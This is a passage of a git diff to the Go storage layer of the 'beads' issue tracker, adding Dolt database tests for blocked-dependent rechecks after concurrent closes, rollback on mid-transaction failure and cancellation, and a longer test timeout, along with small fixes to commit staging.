types.DepBlocks) + addDependency(t, ctx, store, c, b, types.DepBlocks) + assertIsBlocked(t, ctx, store, "issues", c, true) +} + +// closeOnSeparatePool closes id and commits it on a pool of its own, with the +// ordinary in-transaction recompute. The store's own transaction may hold +// every connection its pool has, so the sibling writer cannot borrow one. +func closeOnSeparatePool(t *testing.T, ctx context.Context, store *DoltStore, id string) { + t.Helper() + db, err := sql.Open("mysql", store.connStr) + if err != nil { + t.Fatalf("open sibling pool: %v", err) + } + defer func() { _ = db.Close() }() + tx, err := db.BeginTx(ctx, nil) + if err != nil { + t.Fatalf("begin sibling tx: %v", err) + } + if _, err := issueops.CloseIssueInTx(ctx, tx, id, "done", "sibling", ""); err != nil { + _ = tx.Rollback() + t.Fatalf("sibling close of %s: %v", id, err) + } + if err := tx.Commit(); err != nil { + t.Fatalf("commit sibling close of %s: %v", id, err) + } +} + +func assertReady(t *testing.T, ctx context.Context, store *DoltStore, id string) { + t.Helper() + assertIsBlocked(t, ctx, store, "issues", id, false) + ready, err := store.GetReadyWork(ctx, types.WorkFilter{}) + if err != nil { + t.Fatalf("GetReadyWork: %v", err) + } + if !slices.ContainsFunc(ready, func(i *types.Issue) bool { return i.ID == id }) { + t.Fatalf("%s has no open blockers but is missing from ready work", id) + } +} + +// TestBlockedRecheck_RunInTransactionCommittingLast is gastownhall/beads#6716 +// on DoltStore.RunInTransaction, the storage.Transaction runner `bd batch`, +// `bd cook`, `bd mol squash`/`burn` and SDK callers (Gas City's native store +// closes and status updates) write through. The transaction closes one +// blocker while both are open, a sibling close of the other commits, and the +// transaction commits last: without a post-commit recheck the dependent stays +// blocked. +func TestBlockedRecheck_RunInTransactionCommittingLast(t *testing.T) { + cases := []struct { + name string + wisp bool + write func(ctx context.Context, tx storage.Transaction, id string) error + }{ + {"close", false, func(ctx context.Context, tx storage.Transaction, id string) error { + return tx.CloseIssue(ctx, id, "done", "tester", "") + }}, + {"update to closed", false, func(ctx context.Context, tx storage.Transaction, id string) error { + return tx.UpdateIssue(ctx, id, map[string]interface{}{"status": types.StatusClosed}, "tester") + }}, + {"wisp close", true, func(ctx context.Context, tx storage.Transaction, id string) error { + return tx.CloseIssue(ctx, id, "done", "tester", "") + }}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + store, cleanup := setupConcurrentTestStore(t) + defer cleanup() + ctx, cancel := testContext(t) + defer cancel() + seedBlockedDependent(t, ctx, store, "rt-a", "rt-b", "rt-c", tc.wisp) + + if err := store.RunInTransaction(ctx, "close rt-b", func(tx storage.Transaction) error { + if err := tc.write(ctx, tx, "rt-b"); err != nil { + return err + } + closeOnSeparatePool(t, ctx, store, "rt-a") + return nil + }); err != nil { + t.Fatalf("RunInTransaction: %v", err) + } + + assertReady(t, ctx, store, "rt-c") + }) + } +} + +// TestBlockedRecheck_ConcurrentWispCloses races the raw-transaction wisp +// close path (closeWisp) against itself. It cannot pin the interleaving the +// way the tests above do, so it only proves the settled outcome: whichever +// close commits last, the dependent ends up ready. +func TestBlockedRecheck_ConcurrentWispCloses(t *testing.T) { + store, cleanup := setupConcurrentTestStore(t) + defer cleanup() + ctx, cancel := testContext(t) + defer cancel() + for round := 0; round < 5; round++ { + a, b, c := fmt.Sprintf("rw-%da", round), fmt.Sprintf("rw-%db", round), fmt.Sprintf("rw-%dc", round) + seedBlockedDependent(t, ctx, store, a, b, c, true) + var wg sync.WaitGroup + errs := make([]error, 2) + for i, id := range []string{a, b} { + wg.Add(1) + go func() { + defer wg.Done() + errs[i] = store.CloseIssue(ctx, id, "done", "tester", "") + }() + } + wg.Wait() + for _, err := range errs { + if err != nil { + t.Fatalf("round %d close: %v", round, err) + } + } + assertReady(t, ctx, store, c) + } +} diff --git a/internal/storage/dolt/close_recheck_blocked_test.go b/internal/storage/dolt/close_recheck_blocked_test.go index f7fcca35d..bbbb90ed1 100644 --- a/internal/storage/dolt/close_recheck_blocked_test.go +++ b/internal/storage/dolt/close_recheck_blocked_test.go @@ -5,6 +5,8 @@ import ( "database/sql" "errors" "slices" + "strings" + "sync" "testing" "github.com/steveyegge/beads/internal/storage/issueops" @@ -14,12 +16,19 @@ import ( // seedSiblingBlockers creates rb-a and rb-b, both blocking rb-c. func seedSiblingBlockers(t *testing.T, ctx context.Context, store *DoltStore) { t.Helper() - for _, id := range []string{"rb-a", "rb-b", "rb-c"} { + seedSiblingBlockersAs(t, ctx, store, "rb-a", "rb-b", "rb-c") +} + +// seedSiblingBlockersAs is seedSiblingBlockers for a named triple, so one store +// can carry more than one independent fixture. +func seedSiblingBlockersAs(t *testing.T, ctx context.Context, store *DoltStore, blockerA, blockerB, dependent string) { + t.Helper() + for _, id := range []string{blockerA, blockerB, dependent} { createPerm(t, ctx, store, id) } - addDependency(t, ctx, store, "rb-c", "rb-a", types.DepBlocks) - addDependency(t, ctx, store, "rb-c", "rb-b", types.DepBlocks) - assertIsBlocked(t, ctx, store, "issues", "rb-c", true) + addDependency(t, ctx, store, dependent, blockerA, types.DepBlocks) + addDependency(t, ctx, store, dependent, blockerB, types.DepBlocks) + assertIsBlocked(t, ctx, store, "issues", dependent, true) } // beginRacingWrite opens a transaction on its own pooled connection, pins its @@ -28,6 +37,13 @@ func seedSiblingBlockers(t *testing.T, ctx context.Context, store *DoltStore) { // paths do. It returns the dependents the write recorded for the post-commit // recheck and a commit step that lands the write and frees the connection. func beginRacingWrite(t *testing.T, ctx context.Context, store *DoltStore, name string, write func(tx *sql.Tx) error) (pending issueops.BlockedRecheck, commit func()) { + t.Helper() + return beginRacingWriteOn(t, ctx, store, name, []string{"rb-a", "rb-b"}, write) +} + +// beginRacingWriteOn is beginRacingWrite for a named fixture: blockers are the +// ids whose open state pins the snapshot. +func beginRacingWriteOn(t *testing.T, ctx context.Context, store *DoltStore, name string, blockers []string, write func(tx *sql.Tx) error) (pending issueops.BlockedRecheck, commit func()) { t.Helper() conn, err := store.db.Conn(ctx) if err != nil { @@ -39,13 +55,20 @@ func beginRacingWrite(t *testing.T, ctx context.Context, store *DoltStore, name } clearScope := issueops.ScopeBlockedRecheckTransaction(tx) defer clearScope() + placeholders := make([]string, 0, len(blockers)) + args := make([]any, 0, len(blockers)) + for _, id := range blockers { + placeholders = append(placeholders, "?") + args = append(args, id) + } var open int if err := tx.QueryRowContext(ctx, - "SELECT COUNT(*) FROM issues WHERE id IN ('rb-a', 'rb-b') AND status <> 'closed'").Scan(&open); err != nil { + "SELECT COUNT(*) FROM issues WHERE id IN ("+strings.Join(placeholders, ", ")+") AND status <> 'closed'", + args...).Scan(&open); err != nil { t.Fatalf("pin snapshot for %s: %v", name, err) } - if open != 2 { - t.Fatalf("snapshot for %s sees %d open blockers, want 2", name, open) + if open != len(blockers) { + t.Fatalf("snapshot for %s sees %d open blockers, want %d", name, open, len(blockers)) } if err := write(tx); err != nil { t.Fatalf("%s in tx: %v", name, err) @@ -144,6 +167,85 @@ func TestCloseRecheckBlocked_PublicClosePaths(t *testing.T) { } } +// TestCloseRecheckBlocked_RunnerTailRechecksACommittedWrite pins the wiring +// this feature IS: a write that commits on a store write runner gets its +// recorded dependents rechecked by that runner, with no help from the test. +// +// Every other test in this file reaches the recheck another way — it calls +// recheckBlockedAfterCommit itself, or takes the pending set out of the +// transaction before the runner can — so all of them stay green when both +// runner tails are deleted, and the tier #6716 was reported on had no +// regression pin on its own deliverable. +// +// Each arm makes the in-transaction recompute provably blind rather than +// hoping for an interleaving: a racing close is held open so the runner's +// transaction cannot see it, the arm reads the dependent's flag inside that +// transaction to record what its own recompute concluded, and the racing close +// is landed from inside the runner's body — before the runner commits, after +// its snapshot was taken. Only a recheck on a fresh snapshot can settle the +// dependent from there. withRetryTx and withWriteTx carry separate tail calls, +// so each gets its own arm and its own fixture. +func TestCloseRecheckBlocked_RunnerTailRechecksACommittedWrite(t *testing.T) { + store, cleanup := setupConcurrentTestStore(t) + defer cleanup() + ctx, cancel := testContext(t) + defer cancel() + + for _, arm := range []struct { + runner string + run func(context.Context, func(*sql.Tx) error) error + racing string // closed by the transaction the runner cannot see + committed string // closed through the runner + dependent string + }{ + {"withRetryTx", store.withRetryTx, "rt-a", "rt-b", "rt-c"}, + {"withWriteTx", store.withWriteTx, "wt-a", "wt-b", "wt-c"}, + } { + t.Run(arm.runner, func(t *testing.T) { + seedSiblingBlockersAs(t, ctx, store, arm.racing, arm.committed, arm.dependent) + _, landRacingClose := beginRacingWriteOn(t, ctx, store, "close of "+arm.racing, + []string{arm.racing, arm.committed}, func(tx *sql.Tx) error { + _, err := issueops.CloseIssueInTx(ctx, tx, arm.racing, "done", "tester", "") + return err + }) + + var landed sync.Once + var blockedInTx int + if err := arm.run(ctx, func(tx *sql.Tx) error { + if _, err := issueops.CloseIssueInTx(ctx, tx, arm.committed, "done", "tester", ""); err != nil { + return err + } + // What this transaction's own recompute concluded, read before + // the racing close lands so it cannot be anything else. + if err := tx.QueryRowContext(ctx, + "SELECT is_blocked FROM issues WHERE id = ?", arm.dependent).Scan(&blockedInTx); err != nil { + return err + } + // Land the racing close inside the window: this transaction + // began before it, so its snapshot cannot include it, and the + // dependent is stale the moment this transaction commits. + // sync.Once because withRetryTx may re-run this body. + landed.Do(landRacingClose) + return nil + }); err != nil { + t.Fatalf("%s: a committed close returned %v, want nil", arm.runner, err) + } + if blockedInTx == 0 { + t.Fatalf("%s: %s was already unblocked inside the write's own transaction, so this arm measures nothing about the tail — the runner retried and re-ran the body on a snapshot that already included the racing close", arm.runner, arm.dependent) + } + + // Nothing here called recheckBlockedAfterCommit or touched the + // pending set: the runner's tail is the only thing that can have + // settled the dependent and published the correction. + assertIsBlocked(t, ctx, store, "issues", arm.dependent, false) + requireCleanTables(ctx, t, store, "issues") + if !doltHasCommitMessage(ctx, t, store, "bd: recheck blocked after close of "+arm.committed) { + t.Fatalf("%s: the recheck corrected %s but minted no Dolt commit for it", arm.runner, arm.dependent) + } + }) + } +} + // TestCloseRecheckBlocked_ConcurrentCloseAndDependencyRemoval is #6716 with a // dependency removal as the second writer: a close of rb-a racing a removal of // the rb-c -> rb-b edge. Each transaction still sees the other blocker in diff --git a/internal/storage/dolt/create_rollback_test.go b/internal/storage/dolt/create_rollback_test.go new file mode 100644 index 000000000..f9f08cc9a --- /dev/null +++ b/internal/storage/dolt/create_rollback_test.go @@ -0,0 +1,328 @@ +package dolt + +import ( + "context" + "database/sql" + "errors" + "strings" + "testing" + "time" + + "github.com/steveyegge/beads/internal/storage" + "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/types" +) + +// failOnSecondEventInsertTx wraps a real *sql.Tx and fails the second +// "INSERT INTO events" statement with context.Canceled. In CreateIssueInTx's +// statement order the first such insert is always the issue-created event and +// the second is the first label's "Added label" event — so this deterministically +// reproduces a label-event write failing mid-transaction (ga-xcq1ph) without +// racing a wall-clock timeout against a real Dolt contention window. +type failOnSecondEventInsertTx struct { + *sql.Tx + eventInsertCount int + injected bool +} + +func (f *failOnSecondEventInsertTx) ExecContext(ctx context.Context, query string, args ...any) (sql.Result, error) { + if strings.Contains(query, "INSERT INTO events") { + f.eventInsertCount++ + if f.eventInsertCount == 2 { + f.injected = true + return nil, context.Canceled + } + } + return f.Tx.ExecContext(ctx, query, args...) +} + +// TestCreateIssueRollsBackFullyOnLabelEventFailure is a regression test for +// ga-xcq1ph: a `bd create` with multiple labels, observed under real Dolt +// write contention, printed an error naming a generated issue ID ("failed to +// record label event ... context canceled / transaction has already been +// committed or rolled back") and that ID never persisted (confirmed by a +// later `bd show`). The open question was whether that is silent partial +// persistence (a real bug) or a fully-rolled-back transaction whose error +// text merely mentions the doomed ID (confusing, but safe). +// +// This test injects the exact failure shape at the exact point PersistLabels +// hits it (a label's "Added label" event insert returning context.Canceled) +// against a real Dolt transaction, then rolls back by hand the way +// DoltStore.commitWriteTx does on any callback error +// (errors.Join(err, tx.Rollback()), reached via withWriteTx). That mirrors +// the rollback half only; it does not exercise the wrapper itself — the +// wrapper the production `bd create` path (cmd/bd/create.go -> writeOps -> +// ops.Create -> issueOperations.Create -> runIssueOperationTx -> withRetryTx +// -> withWriteTx) actually runs +// CreateIssuesInTxWithResult/CreateIssueInTxWithResult under — and checks +// whether the issue or its first label leaked through anyway. +// withRetryTx never retries this failure: context.Canceled matches none of +// isDoltAutocommitRollbackError/isSerializationError/isRetryableError, so it +// falls to backoff.Permanent and surfaces to the CLI as a single failed +// attempt, exactly as reported. +// +// Exactly what is and is not mirrored: before calling its callback, +// commitWriteTx installs three transaction-scoped activations — +// scopeEventsJournalTransaction, scopeVersionedHistoryTransaction and +// issueops.ScopeBlockedRecheckTransaction — and on the success path runs a +// post-commit blocked recheck. The bare BeginTx below registers none of them, +// so this transaction cannot emit a bd_events_journal or issue_versions row +// at all (journalEnabled falls back to the unregistered-tx default, false). +// The three counts asserted below — issues, labels, events — are therefore +// the only ones this shape can meaningfully test: adding a journal or +// issue_versions cleanliness assertion here, or moving the injection point +// downstream of those seams, would pass vacuously. +// +// What this test does NOT cover: the injected context.Canceled never +// reaches the server, so the real transaction stays alive throughout and is +// rolled back manually above, once, by this test's own tx.Rollback() call. +// The original production report's error text named a second condition — +// "transaction has already been committed or rolled back" (sql.ErrTxDone) — +// which only occurs when database/sql's own background machinery has +// already torn the transaction down out from under the caller. See +// TestCreateIssueRollsBackFullyOnContextCancelMidTransaction below for that +// case. +func TestCreateIssueRollsBackFullyOnLabelEventFailure(t *testing.T) { + store, cleanup := setupConcurrentTestStore(t) + defer cleanup() + + ctx, cancel := testContext(t) + defer cancel() + + const issueID = "create-rollback-label-event" + issue := &types.Issue{ + ID: issueID, + Title: "phantom create under label-event failure", + Status: types.StatusOpen, + Priority: 2, + IssueType: types.TypeTask, + Labels: []string{"label-one", "label-two"}, + } + + realTx, err := store.db.BeginTx(ctx, nil) + if err != nil { + t.Fatalf("begin tx: %v", err) + } + defer func() { _ = realTx.Rollback() }() // no-op if already rolled back below + + faultyTx := &failOnSecondEventInsertTx{Tx: realTx} + + // CreateOnly matches issueops.ExecuteCreate's own BatchCreateOptions — + // the facade cmd/bd/create.go actually calls (via writeOps/ops.Create) on + // the production `bd create` path — so this test exercises the same + // insert-vs-upsert branch in InsertIssueIfNew that production hits. + bc, err := issueops.NewBatchContext(ctx, faultyTx, storage.BatchCreateOptions{CreateOnly: true, SkipPrefixValidation: true}) + if err != nil { + t.Fatalf("new batch context: %v", err) + } + + _, createErr := issueops.CreateIssueInTxWithResult(ctx, faultyTx, bc, issue, "tester") + if createErr == nil { + t.Fatal("expected CreateIssueInTxWithResult to fail when a label event insert is canceled, got nil error") + } + if !strings.Contains(createErr.Error(), "failed to record label event") { + t.Fatalf("error = %v, want it to mention the failed label event (matches the production error text in issueops/create.go)", createErr) + } + if !errors.Is(createErr, context.Canceled) { + t.Fatalf("error = %v, want it to wrap context.Canceled", createErr) + } + if !faultyTx.injected { + t.Fatal("fault injector never fired (eventInsertCount never reached 2) — test setup is broken and proves nothing") + } + + // The rollback half of what DoltStore.commitWriteTx does on any callback + // error: unconditionally roll back (errors.Join(err, tx.Rollback()), + // reached via withWriteTx). The transaction scopes this hand-rolled tx + // does not install are named in the doc comment above. + if err := realTx.Rollback(); err != nil { + t.Fatalf("rollback: %v", err) + } + + // The claim under test: does the issue, or its first label (inserted + // successfully before the second event insert failed), leak through + // despite the rollback? + var issueCount int + if err := store.db.QueryRowContext(ctx, "SELECT COUNT(*) FROM issues WHERE id = ?", issueID).Scan(&issueCount); err != nil { + t.Fatalf("post-rollback issue count: %v", err) + } + if issueCount != 0 { + t.Fatalf("issue %s persisted despite mid-transaction label-event failure and rollback: found %d rows (this would confirm ga-xcq1ph as a real data-loss bug)", issueID, issueCount) + } + var labelCount int + if err := store.db.QueryRowContext(ctx, "SELECT COUNT(*) FROM labels WHERE issue_id = ?", issueID).Scan(&labelCount); err != nil { + t.Fatalf("post-rollback label count: %v", err) + } + if labelCount != 0 { + t.Fatalf("label rows for %s persisted despite rollback: found %d rows", issueID, labelCount) + } + var eventCount int + if err := store.db.QueryRowContext(ctx, "SELECT COUNT(*) FROM events WHERE issue_id = ?", issueID).Scan(&eventCount); err != nil { + t.Fatalf("post-rollback event count: %v", err) + } + if eventCount != 0 { + t.Fatalf("event rows for %s persisted despite rollback: found %d rows", issueID, eventCount) + } +} + +// cancelOnSecondEventInsertTx wraps a real *sql.Tx and, right as the second +// "INSERT INTO events" statement is about to run (the first label's "Added +// label" event — see the statement-ordering note on failOnSecondEventInsertTx +// above), cancels the transaction's OWN context instead of faking an error. +// The call is then let through with that now-canceled context, so it fails +// the same way a real canceled request would. +type cancelOnSecondEventInsertTx struct { + *sql.Tx + cancel context.CancelFunc + eventInsertCount int +} + +func (c *cancelOnSecondEventInsertTx) ExecContext(ctx context.Context, query string, args ...any) (sql.Result, error) { + if strings.Contains(query, "INSERT INTO events") { + c.eventInsertCount++ + if c.eventInsertCount == 2 { + c.cancel() + } + } + return c.Tx.ExecContext(ctx, query, args...) +} + +// TestCreateIssueRollsBackFullyOnContextCancelMidTransaction closes the gap +// the PR #5989 review (bee-ghosttrack, 2026-09-03) identified in +// TestCreateIssueRollsBackFullyOnLabelEventFailure above: that test's +// injected context.Canceled never reaches the real transaction, so the +// transaction stays alive throughout and is rolled back manually, once, by +// the test itself — it can't reach the state where partial persistence +// would actually be conceivable. +// +// That state is: database/sql's own background awaitDone goroutine (spawned +// by BeginTx whenever it's given a cancelable context) notices the context +// is done and tears the transaction down on its own, racing ahead of +// anything the caller does next. The original production report's error +// text — "...context canceled / transaction has already been committed or +// rolled back" — is two different errors from two different sources: the +// failing ExecContext call (context.Canceled), and a *later* tx.Rollback() +// call — the errors.Join(err, tx.Rollback()) cleanup in commitWriteTx, +// reached via withWriteTx — returning sql.ErrTxDone because the background +// goroutine had, by then, already won the race and rolled back for real. +// +// This test reproduces that: it cancels a real, BeginTx-scoped context +// mid-transaction (not a fabricated per-call error), confirms sql.ErrTxDone +// on the follow-up Rollback() exactly as reported, and then re-queries on +// store.db — a fresh connection from the pool, never the now-dead tx — to +// prove this state, too, still rolls back cleanly with no partial +// persistence. +func TestCreateIssueRollsBackFullyOnContextCancelMidTransaction(t *testing.T) { + store, cleanup := setupConcurrentTestStore(t) + defer cleanup() + + parent, parentCancel := testContext(t) + defer parentCancel() + ctx, cancel := context.WithCancel(parent) + defer cancel() // no-op if already canceled below + + const issueID = "create-rollback-ctx-cancel" + issue := &types.Issue{ + ID: issueID, + Title: "phantom create under real mid-transaction context cancel", + Status: types.StatusOpen, + Priority: 2, + IssueType: types.TypeTask, + Labels: []string{"label-one", "label-two"}, + } + + realTx, err := store.db.BeginTx(ctx, nil) + if err != nil { + t.Fatalf("begin tx: %v", err) + } + // Safety net for any early t.Fatal below (e.g. a future change to this + // test, or an environment where the injector never fires): without this, + // an unreached tx sits open against the shared test DB until this + // process exits, which can stall store.Close() during cleanup. A + // same-goroutine Rollback() after the transaction is already done (the + // success path below calls it explicitly) is a harmless no-op returning + // sql.ErrTxDone. + defer func() { _ = realTx.Rollback() }() + + cancelingTx := &cancelOnSecondEventInsertTx{Tx: realTx, cancel: cancel} + + bc, err := issueops.NewBatchContext(ctx, cancelingTx, storage.BatchCreateOptions{CreateOnly: true, SkipPrefixValidation: true}) + if err != nil { + t.Fatalf("new batch context: %v", err) + } + + _, createErr := issueops.CreateIssueInTxWithResult(ctx, cancelingTx, bc, issue, "tester") + if createErr == nil { + t.Fatal("expected CreateIssueInTxWithResult to fail when its context is canceled mid-transaction, got nil error") + } + if !errors.Is(createErr, context.Canceled) { + t.Fatalf("error = %v, want it to wrap context.Canceled", createErr) + } + if cancelingTx.eventInsertCount < 2 { + t.Fatalf("cancel trigger never fired (eventInsertCount = %d) — test setup is broken and proves nothing", cancelingTx.eventInsertCount) + } + + // Wait for database/sql's background awaitDone goroutine to actually + // finish tearing the transaction down. It races cancel() above against + // this goroutine, so there is no synchronous signal for "done" — poll a + // read-only statement on the SAME tx, with a context that is NOT + // canceled (so this specifically probes the tx's own done flag, not the + // argument-context check), until it reports sql.ErrTxDone. + deadline := time.Now().Add(3 * time.Second) + var probeErr error + for time.Now().Before(deadline) { + var discard int + probeErr = realTx.QueryRowContext(context.Background(), "SELECT 1").Scan(&discard) + if errors.Is(probeErr, sql.ErrTxDone) { + break + } + time.Sleep(2 * time.Millisecond) + } + if !errors.Is(probeErr, sql.ErrTxDone) { + t.Fatalf("timed out waiting for database/sql to tear down the tx after context cancel; last probe error: %v", probeErr) + } + + // The same rollback half commitWriteTx's errors.Join(err, tx.Rollback()) + // performs on a callback error, reached via withWriteTx — and, matching + // the original production report verbatim, it returns sql.ErrTxDone here + // because the background rollback just confirmed above already beat it to + // the punch. As in test 1 this hand-rolled tx installs none of + // commitWriteTx's three transaction scopes; driving the real wrapper is + // deliberately out of scope here, because the behavior under test is + // database/sql tearing the transaction down independently of any wrapper. + rollbackErr := realTx.Rollback() + if !errors.Is(rollbackErr, sql.ErrTxDone) { + t.Fatalf("rollback error = %v, want sql.ErrTxDone (database/sql had already rolled back on its own after the context was canceled)", rollbackErr) + } + joined := errors.Join(createErr, rollbackErr) + if !strings.Contains(joined.Error(), "transaction has already been committed or rolled back") { + t.Fatalf("joined error = %q, want it to reproduce the original report's exact second half", joined.Error()) + } + + // The claim under test: does the issue, or its first label (inserted + // successfully before the second event insert triggered the cancel), + // leak through despite database/sql's own rollback? Query on store.db — + // a fresh connection from the pool, never the now-dead realTx — so this + // can't accidentally pass by reading stale state off a broken tx. + verifyCtx := context.Background() + var issueCount int + if err := store.db.QueryRowContext(verifyCtx, "SELECT COUNT(*) FROM issues WHERE id = ?", issueID).Scan(&issueCount); err != nil { + t.Fatalf("post-rollback issue count: %v", err) + } + if issueCount != 0 { + t.Fatalf("issue %s persisted despite mid-transaction context cancel: found %d rows (this would confirm ga-xcq1ph as a real data-loss bug)", issueID, issueCount) + } + var labelCount int + if err := store.db.QueryRowContext(verifyCtx, "SELECT COUNT(*) FROM labels WHERE issue_id = ?", issueID).Scan(&labelCount); err != nil { + t.Fatalf("post-rollback label count: %v", err) + } + if labelCount != 0 { + t.Fatalf("label rows for %s persisted despite context-cancel rollback: found %d rows", issueID, labelCount) + } + var eventCount int + if err := store.db.QueryRowContext(verifyCtx, "SELECT COUNT(*) FROM events WHERE issue_id = ?", issueID).Scan(&eventCount); err != nil { + t.Fatalf("post-rollback event count: %v", err) + } + if eventCount != 0 { + t.Fatalf("event rows for %s persisted despite context-cancel rollback: found %d rows", issueID, eventCount) + } +} diff --git a/internal/storage/dolt/deleter.go b/internal/storage/dolt/deleter.go index cb56798bb..9aa079497 100644 --- a/internal/storage/dolt/deleter.go +++ b/internal/storage/dolt/deleter.go @@ -83,7 +83,17 @@ func (s *deleter) Delete(ctx context.Context, req issueops.DeleteRequest) (issue } // The same tables a sweep stages; the neighbor rewrite lands in // `issues`, which is already on the list. - for _, table := range sweptTables { + // + // THE VERSIONED-HISTORY TABLES ARE NOT on that list, and the rewrite + // writes them: RewriteDeletedReferencesInTx updates every surviving + // neighbor through UpdateIssueInTx, the seam's minting entry point, and + // this transaction is scoped for minting because commitWriteTx scopes + // the transaction withWriteTx hands to the body above. Staging the + // fixed list alone would leave those rows in the working set, outside + // the commit that describes them — the exact loss withVersionedHistoryTables + // exists to prevent, and for store_epoch the unrecoverable kind (see the + // append-only note in doltAddAndCommitInTx's HAZARD block). + for _, table := range s.store.withVersionedHistoryTables(sweptTables) { _ = schema.DrainCall(ctx, tx, "CALL DOLT_ADD(?)", table) } msg := fmt.Sprintf("bd: delete %d issue(s)", result.Deleted) diff --git a/internal/storage/dolt/dependencies.go b/internal/storage/dolt/dependencies.go index 8c5123c65..0cc2ef202 100644 --- a/internal/storage/dolt/dependencies.go +++ b/internal/storage/dolt/dependencies.go @@ -110,10 +110,12 @@ func (s *DoltStore) RemoveDependencyWithOptions(ctx context.Context, issueID, de // method's own history is made of. Uniform beats clever. clearVersionScope := s.scopeVersionedHistoryTransaction(tx) defer clearVersionScope() + clearRecheckScope := issueops.ScopeBlockedRecheckTransaction(tx) + defer clearRecheckScope() if _, err := issueops.RemoveDependencyInTx(ctx, tx, issueID, dependsOnID, actor, rmOpts.EmitEvent); err != nil { return err } - if err := s.commitSQLTx(ctx, "commit remove wisp dependency", tx); err != nil { + if err := s.commitSQLTxAndRecheck(ctx, "commit remove wisp dependency", tx); err != nil { return err } return nil @@ -133,6 +135,8 @@ func (s *DoltStore) RemoveDependencyWithOptions(ctx context.Context, issueID, de // unless activation is bound to THIS transaction. clearVersionScope := s.scopeVersionedHistoryTransaction(tx) defer clearVersionScope() + clearRecheckScope := issueops.ScopeBlockedRecheckTransaction(tx) + defer clearRecheckScope() eventWritten, err := issueops.RemoveDependencyInTx(ctx, tx, issueID, dependsOnID, actor, rmOpts.EmitEvent) if err != nil { @@ -142,6 +146,10 @@ func (s *DoltStore) RemoveDependencyWithOptions(ctx context.Context, issueID, de if err := s.commitSQLTx(ctx, "sql commit", tx); err != nil { return err } + // The removal is durable; its dependents are settled after this + // removal's own Dolt commit so the recheck's commit follows it. + pending := issueops.TakeBlockedRecheck(tx) + defer s.settleBlockedRecheck(ctx, pending) // GH#2455: Use explicit DOLT_ADD to avoid sweeping up stale config changes. // Stage events only when RemoveDependencyInTx actually recorded a // dependency_removed event (explicit verb + genuine edge removal). A diff --git a/internal/storage/dolt/dolt_benchmark_purge_test.go b/internal/storage/dolt/dolt_benchmark_purge_test.go index 4c6edda52..55a76489b 100644 --- a/internal/storage/dolt/dolt_benchmark_purge_test.go +++ b/internal/storage/dolt/dolt_benchmark_purge_test.go @@ -12,20 +12,21 @@ import ( "github.com/steveyegge/beads/internal/testutil" ) -// findDroppedDirCmd locates the .dolt_dropped_databases directory anywhere in -// the container. +// findDroppedDirCmd locates the .dolt_dropped_databases directory under the +// server's data directory. // -// It deliberately does NOT use `find -xdev`. The Dolt image declares -// VOLUME /var/lib/dolt (`docker image inspect dolthub/dolt-sql-server:2.2.0` -// -> `{"/var/lib/dolt":{}}`), so the data dir is a *separate mount* from `/`: -// inside the container `stat -c %d / /var/lib/dolt` reports different device -// IDs. `-xdev` stops the walk dead at that boundary, so it never reaches the -// data dir at all — the probe returned "" on every run, the entry count was -// always 0, and the leak assertion below was vacuously true whether or not -// dropBenchDB purged anything (PR #5792 review, finding 1). The pseudo -// filesystems `-xdev` was there to skip are pruned explicitly instead. -const findDroppedDirCmd = `find / -maxdepth 6 \( -path /proc -o -path /sys -o -path /dev \) -prune ` + - `-o -type d -name .dolt_dropped_databases -print 2>/dev/null` +// It is relative on purpose: IsolatedDoltContainer.Exec runs with the data +// directory as its working directory in both test server backends (the +// container's WORKDIR is its data dir, /var/lib/dolt; the local backend runs +// the command on the host in the local server's data dir). A walk from `/` +// would, with the local backend, search the host instead of one server's data. +// +// Walking from `.` also sidesteps the trap an earlier `find / -xdev` fell into: +// the image declares VOLUME /var/lib/dolt, a separate mount from `/`, and +// `-xdev` stopped at that boundary, so the probe returned "" on every run and +// the leak assertion below was vacuously true (PR #5792 review, finding 1). +// requireLeakIsObservable (the positive control) guards against a blind probe. +const findDroppedDirCmd = `find . -maxdepth 4 -type d -name .dolt_dropped_databases -print 2>/dev/null` // TestBenchDBPurgeDoesNotLeak is the regression gate for be-pq5: dropBenchDB // must DROP and then PURGE so the dropped-databases dir does not grow across @@ -35,8 +36,8 @@ const findDroppedDirCmd = `find / -maxdepth 6 \( -path /proc -o -path /sys -o -p // // Dolt 1.86 exposes no SQL view for the dropped-databases list, so the only // way to detect a leak is to count entries in the server's -// .dolt_dropped_databases/ directory, which has no host-visible path — hence -// reading it by exec'ing into the container. +// .dolt_dropped_databases/ directory, which with the container backend has no +// host-visible path — hence reading it through IsolatedDoltContainer.Exec. // // This runs against its own isolated container, not the shared TestMain one. // Six sites in this package refuse to DROP DATABASE against the shared diff --git a/internal/storage/dolt/dolt_test.go b/internal/storage/dolt/dolt_test.go index 368d5089b..83a82c478 100644 --- a/internal/storage/dolt/dolt_test.go +++ b/internal/storage/dolt/dolt_test.go @@ -27,7 +27,26 @@ import ( // ignored migration, each Dolt-committed), which grows as migrations // accumulate — with headroom for a loaded machine; some tests set up two // stores under one context. -const testTimeout = 45 * time.Second +// +// Was 45s; raised to 90s for be-696w. At 45s, migrating-open tests +// (cross_project_test.go's TestCrossProject_*, TestMigratingOpen_FirstReadSucceeds) +// intermittently failed with "failed to initialize schema: context deadline +// exceeded" at exactly the old bound under real host contention (15+ +// concurrent agent sessions) — see TestSchemaInitTimeoutHasLoadHeadroom for +// the regression guard. +// +// This is not a two-test change. testTimeout backs testContext, which is +// called throughout this package, and it is multiplied at the `5*testTimeout` +// dropCtx database-drop cleanups — reproduce the current blast radius with +// `git grep -n '5\*testTimeout' internal/storage/dolt/`, where every hit +// outside this comment is one of those cleanups. Raising 45s to 90s therefore +// takes those bounds from 225s to 450s: a genuinely hung drop now needs 7.5 +// minutes to report instead of 3.75. That is the cost being accepted here — +// a slower failure signal across the package in exchange for not failing +// honest work under host contention. If that trade stops being worth it, the +// fix is to give the schema-init path its own bound rather than to lower this +// one back. +const testTimeout = 90 * time.Second // testSem limits concurrent database-touching tests to avoid overwhelming the // shared Dolt testcontainer. Without this, 200+ parallel tests cause a diff --git a/internal/storage/dolt/dualwrite_history_contract_test.go b/internal/storage/dolt/dualwrite_history_contract_test.go index 64788658d..b8baf11b5 100644 --- a/internal/storage/dolt/dualwrite_history_contract_test.go +++ b/internal/storage/dolt/dualwrite_history_contract_test.go @@ -7,6 +7,7 @@ import ( "github.com/steveyegge/beads/backend/conformance" "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/types" + publicops "github.com/steveyegge/beads/issueops" ) // 